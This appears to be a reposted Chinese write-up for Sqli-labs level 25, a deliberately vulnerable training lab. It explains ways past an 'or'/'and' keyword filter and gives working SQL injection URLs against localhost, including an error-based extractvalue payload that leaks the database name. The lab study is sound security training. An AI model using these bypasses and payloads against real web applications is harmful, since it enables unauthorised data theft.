Sqli-labs less 25

Less-25

本关主要为or and过滤,如何绕过or和and过滤。一般性提供以下几种思路:

  1. 大小写变形 Or,OR,oR
  2. 编码,hex,urlencode
  3. 添加注释/*or*/
  4. 利用符号 and=&& or=||

    暂时只想到这些,还有的话可以补充。

    本关利用方法(4)进行。

    报错注入 or示例

    http://127.0.0.1/sqllib/Less-25/index.php?id=1'|| extractvalue(1,concat(0x7e,database()))--+

    Sqli-labs less 25_第1张图片

    And 示例

    http://127.0.0.1/sqllib/Less-25/index.php?id=1&&1=1--+

转载于:https://www.cnblogs.com/lcamry/p/5763002.html

你可能感兴趣的:(Sqli-labs less 25)